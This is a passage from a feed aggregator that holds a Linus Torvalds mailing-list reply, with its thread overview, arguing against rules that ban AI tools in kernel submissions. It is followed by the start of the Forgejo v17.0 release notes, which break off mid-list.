	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Christoph&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Hellwig &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;hch@infradead.org&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;David&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Disseldorp &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;ddiss@suse.de&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;, Mark Brown &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;broonie@kernel.org&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Jani&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Nikula &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;jani.nikula@intel.com&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Jens&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Axboe &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;axboe@kernel.dk&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;David Hildenbrand (Arm)&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;david@kernel.org&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Vlastimil&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Babka &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;vbabka@kernel.org&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;/span&gt;&lt;/span&gt;
	&lt;span class=&quot;syntax-source syntax-shell&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;Christian Brauner (Amutable)&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;lt;&lt;/span&gt;brauner@kernel.org&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-makefile&quot;&gt;Subject&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-makefile&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-arguments syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-makefile&quot;&gt;Re: [PATCH] docs: remove Assisted-by references&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-body syntax-makefile&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-makefile&quot;&gt;Date&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-makefile&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-arguments syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-makefile&quot;&gt;Tue, 13 Oct 2026 13:45:09 -0700	[thread overview]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-body syntax-makefile&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-makefile&quot;&gt;Message-ID&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-makefile&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-makefile&quot;&gt; &amp;lt;CAHk-&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-makefile&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-makefile&quot;&gt;whTs09_ozN+e09GU68N1wPP56MUzDjrg9rnKxQUa0A_4Q@mail.gmail.com&amp;gt; (raw)&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-makefile&quot;&gt;In-Reply-To&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-makefile&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-arguments syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-makefile&quot;&gt;&amp;lt;20261013201628.GO4214@killaraus.ideasonboard.com&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-body syntax-makefile&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-makefile&quot;&gt;On Tue, 13 Oct 2026 at 13&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-makefile&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-arguments syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-makefile&quot;&gt;16, Laurent Pinchart&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-body syntax-makefile&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-makefile&quot;&gt;&amp;lt;laurent.pinchart@ideasonboard.com&amp;gt; wrote&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-makefile&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function syntax-arguments syntax-makefile&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-body syntax-makefile&quot;&gt;&lt;/span&gt;&amp;gt;
&amp;gt; What this is about is setting our expectations, telling what we want and
&amp;gt; what we don&amp;#39;t want.

No. What you are about is something entirely different. It has nothing
to do with &amp;quot;expectations&amp;quot;, and it has everything to do with your
hangups.

I don&amp;#39;t understand this whole idiotic concept of &amp;quot;don&amp;#39;t use AI for X&amp;quot;.

&lt;span class=&quot;syntax-meta syntax-function syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-makefile&quot;&gt;Here&amp;#39;s a new rule just for you&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-makefile&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-arguments syntax-makefile&quot;&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-makefile&quot;&gt;don&amp;#39;t use compilers for any of your&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-body syntax-makefile&quot;&gt;
&lt;/span&gt;kernel submissions.

Because if you can&amp;#39;t show that you really understand what the machine
is actually doing by writing your code in assembler, then I don&amp;#39;t want
to see your code contribution. You clearly aren&amp;#39;t competent if you
can&amp;#39;t write it that way.

And btw, you had better not use an editor to write that commit message either.

Because I need you to show me that you can actually write a good
commit message without using tools that make it easy to backspace and
hide the mistakes you made while typing.

Ok?

Because otherwise those tool-assisted commits of yours clearly aren&amp;#39;t
showing that you know what you are doing.

Do you not see how UTTERLY STUPID those kinds of rules would be?

So no. We&amp;#39;re not going to make stupid rules that say &amp;quot;you can&amp;#39;t use
tools for X&amp;quot;.

The kind of expectations *I* have is that people do their best and I
expect people to understand what they are doing.

But that understanding has very little to do with what tools they use.

And quite honestly, in my experience, the people I respect and call
intelligent are not the ones that shy away from using new and
interesting tools.

                   Linus
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;next prev parent reply	other threads:[~2026-10-13 20:45 UTC|newest]

Thread overview: 66+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-10-09  8:31 [PATCH] docs: remove Assisted-by references Sasha Levin
2026-10-09  9:38 ` Laurent Pinchart
2026-10-09 10:09   ` Sasha Levin
2026-10-09 10:05 ` Krzysztof Kozlowski
2026-10-09 10:24   ` Greg KH
2026-10-09 15:20   ` Jonathan Corbet
2026-10-11  1:04     ` Steven Rostedt
2026-10-12 15:42   ` Lorenzo Stoakes (ARM)
2026-10-13 11:19     ` Jori Koolstra
2026-10-13 12:38       ` Laurent Pinchart
2026-10-13 12:50         ` Jori Koolstra
2026-10-13 13:01           ` Laurent Pinchart
2026-10-13 13:24         ` Ricardo B. Marlière (SUSE)
2026-10-13 12:49       ` Lorenzo Stoakes (ARM)
2026-10-13 17:16         ` Laurent Pinchart
2026-10-13 12:31     ` Laurent Pinchart
2026-10-13 12:59       ` Lorenzo Stoakes (ARM)
2026-10-13 13:04         ` Krzysztof Kozlowski
2026-10-13 13:07           ` Lorenzo Stoakes (ARM)
2026-10-13 13:12         ` Laurent Pinchart
2026-10-13 13:29           ` Lorenzo Stoakes (ARM)
2026-10-13 13:37             ` Jori Koolstra
2026-10-13 14:52             ` Kees Cook
2026-10-13 14:54               ` Jori Koolstra
2026-10-13 14:58               ` Jori Koolstra
2026-10-13 17:12                 ` Kees Cook
2026-10-13 17:42                   ` Laurent Pinchart
2026-10-13 19:25                     ` Kees Cook
2026-10-13 20:16                       ` Laurent Pinchart
2026-10-13 20:45                         ` Linus Torvalds [this message]
2026-10-14 13:56                           ` Lorenzo Stoakes (ARM)
2026-10-16 14:19                             ` Matthew Brost
2026-10-17 17:42                               ` Troy Benjegerdes
2026-10-19 17:41                           ` lyude
2026-10-14 18:47                         ` Kees Cook
2026-10-15 23:14                           ` Jeremy Dean Clifton
2026-10-13 15:02               ` Lorenzo Stoakes (ARM)
2026-10-13 16:58                 ` Kees Cook
2026-10-13 17:32             ` Laurent Pinchart
2026-10-16 16:14               ` Lorenzo Stoakes (ARM)
2026-10-14  3:23             ` Theodore Tso
2026-10-14 11:23               ` Mark Brown
2026-10-14 13:08               ` Jori Koolstra
2026-10-14 13:42               ` Lorenzo Stoakes (ARM)
2026-10-14 14:15                 ` Mark Brown
2026-10-19 22:44                 ` Laurent Pinchart
2026-10-19 16:32               ` lyude
2026-10-19 22:24               ` Laurent Pinchart
2026-10-19 16:26             ` lyude
2026-10-16 18:26           ` Ihor Solodrai
2026-10-19 16:21           ` lyude
2026-10-13  4:24 ` Kees Cook
2026-10-13  5:56   ` Randy Dunlap
2026-10-13  6:18     ` Greg KH
2026-10-13  8:25     ` Kees Cook
2026-10-13 12:28       ` [PATCH] docs: remove Assisted-by reference Jori Koolstra
2026-10-13 12:55         ` Laurent Pinchart
2026-10-13 13:03           ` Jori Koolstra
2026-10-13 13:10             ` Laurent Pinchart
2026-10-13 13:20               ` Jori Koolstra
2026-10-13 13:55                 ` Laurent Pinchart
2026-10-19 16:50                 ` lyude
2026-10-13 15:18           ` Mark Brown
2026-10-13 17:07             ` Laurent Pinchart
2026-10-13 20:01               ` Shuah Khan
2026-10-19 16:15         ` lyude
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=&amp;#39;CAHk-=whTs09_ozN+e09GU68N1wPP56MUzDjrg9rnKxQUa0A_4Q@mail.gmail.com&amp;#39; \
    --to=torvalds@linux-foundation.org \
    --cc=apw@canonical.com \
    --cc=axboe@kernel.dk \
    --cc=bfoster@redhat.com \
    --cc=brauner@kernel.org \
    --cc=broonie@kernel.org \
    --cc=cem@kernel.org \
    --cc=corbet@lwn.net \
    --cc=david@kernel.org \
    --cc=ddiss@suse.de \
    --cc=federico.vaga@vaga.pv.it \
    --cc=gregkh@linuxfoundation.org \
    --cc=hch@infradead.org \
    --cc=jani.nikula@intel.com \
    --cc=jkoolstra@xs4all.nl \
    --cc=joe@perches.com \
    --cc=justinstitt@google.com \
    --cc=kees@kernel.org \
    --cc=krzk@kernel.org \
    --cc=kuba@kernel.org \
    --cc=laurent.pinchart@ideasonboard.com \
    --cc=linux-doc@vger.kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=ljs@kernel.org \
    --cc=rdunlap@infradead.org \
    --cc=sashal@kernel.org \
    --cc=skhan@linuxfoundation.org \
    --cc=vbabka@kernel.org \
    --cc=workflows@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Be sure your reply has a &lt;strong&gt;Subject:&lt;/strong&gt; header at the top and a blank line before the message body.&lt;/p&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:a67de41e2f5ec0916adce8d1e1c72f391c7c831b</id>
    <title type="text">Forgejo v17.0 is available</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-15-forgejo-v17-0-is-available/"/>
    <link rel="via" type="text/html" href="https://forgejo.org/2026-10-release-v17-0/"/>
    <published>2026-10-15T19:43:19+00:00</published>
    <updated>2026-10-15T19:43:19+00:00</updated>
    <author>
      <name>forgejo.org via hugoarnal</name>
    </author>
    <category term="news"/>
    <category term="release"/>
    <category term="vcs"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Forgejo &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forgejo.org/download/&quot;&gt;version 17.0&lt;/a&gt; was released on 15 October 2026. Forgejo is a lightweight, community-developed, self-hosted platform for code collaboration.&lt;/p&gt;
&lt;p&gt;This article contains a selection of the changes that were introduced. A complete list of changes is available &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/src/branch/forgejo/release-notes-published/17.0.0.md&quot;&gt;in the release notes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://v17.next.forgejo.org/&quot;&gt;dedicated test instance&lt;/a&gt; is available to try it out. Before upgrading, it is &lt;em&gt;strongly recommended&lt;/em&gt; to make a full backup as explained in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forgejo.org/docs/v17.0/admin/upgrade/&quot;&gt;upgrade guide&lt;/a&gt; and carefully read &lt;em&gt;all breaking changes&lt;/em&gt; from the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/src/branch/forgejo/release-notes-published/17.0.0.md&quot;&gt;release notes&lt;/a&gt;. If in doubt, do not hesitate to ask for help &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://matrix.to/#/#forgejo-chat:matrix.org&quot;&gt;in the chat room&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Breaking changes&lt;/h2&gt;
&lt;h3&gt;Absolute links in rendered documents&lt;/h3&gt;
&lt;p&gt;In rendered documents, absolute links to resources inside a repository are now resolved with respect to the root of the repository. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/12939&quot;&gt;!12939&lt;/a&gt;&lt;br /&gt;
This is a breaking change from the previous behaviour when these links were rendered using the root of the instance. Absolute links in issue and pull request descriptions and comments remain rendered with respect to the instance’s root. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/13993&quot;&gt;!13993&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This change increases the compatibility with other Git forges and thus, makes migrations to Forgejo even easier.&lt;/p&gt;
&lt;h2&gt;Action required&lt;/h2&gt;
&lt;h3&gt;Deprecation of action run webhook events&lt;/h3&gt;
&lt;p&gt;Action run webhook events are replaced by the more capable and less problematic workflow run events. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/14351&quot;&gt;!14351&lt;/a&gt; The action run events have been deprecated for removal in a future Forgejo version. Unfortunately, it is not possible to migrate existing webhooks to the new events automatically because some headers (&lt;code&gt;X-*-Event&lt;/code&gt;, &lt;code&gt;X-*-Event-Type&lt;/code&gt;) and the &lt;code&gt;action&lt;/code&gt; key have changed, which might break existing receivers. Furthermore, completion notifications are only emitted after all jobs of a run have terminated. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/12598&quot;&gt;!12598&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Please inspect existing webhooks and manually migrate them to the workflow run events after verifying that the webhook receivers can process them without issues.&lt;/p&gt;
&lt;h2&gt;New features&lt;/h2&gt;
&lt;h3&gt;Support for &lt;code&gt;FUNDING.yml&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;For repositories that contain a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forgejo.org/docs/v17.0/user/repository/funding/&quot;&gt;&lt;code&gt;FUNDING.yml&lt;/code&gt;&lt;/a&gt; file, Forgejo shows a new “Donate” button which presents a list of donation options when clicked.&lt;/p&gt;
&lt;p&gt;Additionally, for users and organizations that have such file in their &lt;code&gt;.profile&lt;/code&gt; repository, a similar button appears on their profile pages.&lt;/p&gt;
&lt;p&gt;This feature currently exists only in the web interface, but we are considering to implement an API surface for it. If you have a use cases for such API feature, please help shape it by sharing your feedback in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/issues/14075&quot;&gt;the dedicated issue&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://forgejo.org/_astro/2026-10-funding-yml.2cSfMSPe_ZwIxlL.webp&quot; alt=&quot;When applicable, a new &amp;quot;Donate&amp;quot; button appears in the repository&amp;#39;s button banner, between the existing RSS and Watch buttons. The new button features a pink heart icon.&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h3&gt;Auto-completion for issues and pull requests&lt;/h3&gt;
&lt;p&gt;When authoring an issue, pull request, or comment, Forgejo will offer auto-completion for issues and pull requests. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/8088&quot;&gt;!8088&lt;/a&gt; To activate the auto-completion, type &lt;code&gt;#&lt;/code&gt; for issues or pull requests, or &lt;code&gt;!&lt;/code&gt; for pull requests only. To refine the suggestions, either continue with a search term or an issue or pull request number.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://forgejo.org/_astro/2026-10-issue-pr-autocompletion.BRc5wkLd_Z1zWRP4.webp&quot; alt=&quot;An example auto-completion drop-down, showing suggested issues and pull requests after # is typed in a comment field&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h3&gt;LFS support improvements&lt;/h3&gt;
&lt;p&gt;Forgejo’s &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://git-lfs.com&quot;&gt;Git LFS&lt;/a&gt; support is being overhauled. While most changes are under the hood, a string of smaller improvements are visible to users. Those include navigation and overview improvements in the LFS settings, new views to discover the commits that refer to a given LFS file, and better handling of pointers.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://forgejo.org/_astro/2026-10-lfs-overview.BHGKqn-z_Z21Mh8r.webp&quot; alt=&quot;Web UI-based list of all LFS files associated with a Forgejo repository. On the left side, there is a &amp;quot;Settings&amp;quot; sidebar; the &amp;quot;LFS&amp;quot; section is expanded and shows the options &amp;quot;Overview&amp;quot;, &amp;quot;Locks&amp;quot; and &amp;quot;Pointer files&amp;quot;. Next to the sidebar, there is a table with 4 table rows; one for each LFS file present. Each row contains the OID of the LFS file, its size, when it was last updated, as well as two buttons: &amp;quot;Find commits&amp;quot; and a &amp;quot;Delete&amp;quot; button.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h3&gt;Invitations to organizations&lt;/h3&gt;
&lt;p&gt;Forgejo can be configured so that when adding a user to an organization, they are not added to the organization instantly but instead receive an invitation that can be accepted or declined. This behavior can be enabled by setting &lt;code&gt;[service].ADD_MEMBERS_BY_INVITATIONS = true&lt;/code&gt; in Forgejo’s &lt;code&gt;app.ini&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Authentication providers are still able to add users to organizations with no action on their part.&lt;/p&gt;
&lt;p&gt;The invitations are visible on the organization profile and are sent out by email. By default they expire after 14 days.&lt;/p&gt;
&lt;p&gt;Work is ongoing to make those invitations visible in the in-app notifications.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://forgejo.org/_astro/2026-10-org-invite.CXPATz7d_64fsY.webp&quot; alt=&quot;Page of organization displaying a banner with text: &amp;quot;You are invited to join team Owners in this organization.&amp;quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h3&gt;Add/invite to multiple teams at once&lt;/h3&gt;
&lt;p&gt;A user can now be added or invited to multiple teams in one go, without going through each needed team individually. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/11848&quot;&gt;!11848&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://forgejo.org/_astro/2026-10-org-add-dialog.ruxIzoxk_ZDsts1.webp&quot; alt=&quot;Modal dialog with options to search for a user to add and checkboxes with corresponding teams to add a user to&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Markdown contents of comments can now be easily copied via the ellipsis menu. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/13083&quot;&gt;!13083&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://forgejo.org/_astro/2026-10-copy-md.B99e4OW5_1QL1nF.webp&quot; alt=&quot;Comment ellipsis menu with highlighted option: Copy comment Markdown&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h3&gt;Forgejo Actions API improvements&lt;/h3&gt;
&lt;p&gt;The Forgejo HTTP API received multiple enhancements related to Forgejo Actions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Entire workflow runs and individual jobs can now be rerun by sending requests to &lt;code&gt;/repos/{owner}/{repo}/actions/runs/{run_id}/rerun&lt;/code&gt; and &lt;code&gt;/repos/{owner}/{repo}/actions/jobs/{job_id}/rerun&lt;/code&gt; respectively. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/13924&quot;&gt;!13924&lt;/a&gt; The workflow runs or jobs must have completed. Otherwise, they cannot be rerun. However, individual completed jobs can be rerun while the workflow run is still being executed.&lt;/li&gt;
